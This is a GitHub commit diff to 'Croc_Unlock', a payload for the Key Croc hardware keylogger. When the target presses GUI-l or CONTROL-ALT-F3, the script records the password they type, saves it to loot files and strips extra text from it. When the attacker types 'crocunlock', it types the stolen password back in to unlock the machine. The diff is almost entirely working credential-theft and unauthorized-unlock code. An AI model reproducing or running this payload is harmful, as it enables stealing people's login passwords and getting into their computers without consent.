Update Croc_Unlock.txt

Some adjustments to handle the SAVEKEYS command.
pull/54/head
spywill 2022-12-17 07:18:21 -05:00 committed by GitHub
parent 1c69fa92fb
commit 596fa6ca9f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 23 additions and 14 deletions

View File

@ -1,9 +1,10 @@
# Title: Croc_Unlock
# Description: Save target passwd with SAVEKEYS command by pressing GUI-l or CONTROL-ALT-F3
# Log in with typing crocunlock, save at /loot/Croc_Pot/Croc_unlock.txt.filtered and /tools/Croc_Pot/Croc_unlock.txt.filtered
# Author: Spywill / RootJunky
# Version: 2.1
# Author: Spywill
# Version: 2.2
# Category: Key Croc
# Props: RootJunky
MATCH (crocunlock|GUI-l|CONTROL-ALT-F3)
@ -16,8 +17,9 @@ UNLOCK_FILE() {
until [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; do
:
done
sed -i '/\b'$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)'\b/!d' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
LED G
Q DELAY 5000
Q DELAY 1000
LED OFF
}
@ -25,10 +27,10 @@ UNLOCK_COUNT() {
if [ -f $UNLOCK_TMP ]; then
i=$(sed -n 1p $UNLOCK_TMP)
echo "$(( $i + 1 ))" > $UNLOCK_TMP
RELOAD_PAYLOADS
else
echo "$(( i++ ))" > $UNLOCK_TMP
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
sed -i '/\b'$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)'\b/!d' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
cat /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered >> /root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered
rm -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered /root/udisk/tools/Croc_Pot/Croc_unlock.txt
fi
@ -36,11 +38,20 @@ UNLOCK_COUNT() {
Q DELAY 1000
}
RELOAD() {
killall -9 bash
killall -9 python
sleep 1
RELOAD_PAYLOADS
}
case $LOOT in
"GUI-l" | "CONTROL-ALT-F3")
UNLOCK_COUNT
Q BACKSPACE
if [ "$(sed -n 1p $UNLOCK_TMP)" -eq "0" ]; then
if [ "$(sed -n 1p $UNLOCK_TMP)" -gt "0" ]; then
UNLOCK_FILE
RELOAD
elif [ "$(sed -n 1p $UNLOCK_TMP)" -eq "0" ]; then
if [ "$LOOT" = "CONTROL-ALT-F3" ]; then
if [ -f /root/udisk/tools/Croc_Pot/Croc_OS.txt ]; then
if [ "$(sed -n 3p /root/udisk/tools/Croc_Pot/Croc_OS.txt)" = "raspberrypi" ]; then
@ -49,20 +60,18 @@ case $LOOT in
Q DELAY 1000
fi
fi
elif [ "$LOOT" = "GUI-l" ]; then
Q BACKSPACE
fi
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
LED ATTACK
UNLOCK_FILE
else
RELOAD_PAYLOADS
UNLOCK_FILE
fi
;;
crocunlock)
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
sed -i -e 's/'`sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt`'//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
sed -i -e 's/crocunlock//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
LED G
UNLOCK_FILE
LED SETUP
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
@ -77,10 +86,10 @@ SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
Q STRING "$(sed '$!d' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)"
Q ENTER
LED OFF
RELOAD_PAYLOADS
RELOAD
else
LED R
RELOAD_PAYLOADS
RELOAD
fi
;;
esac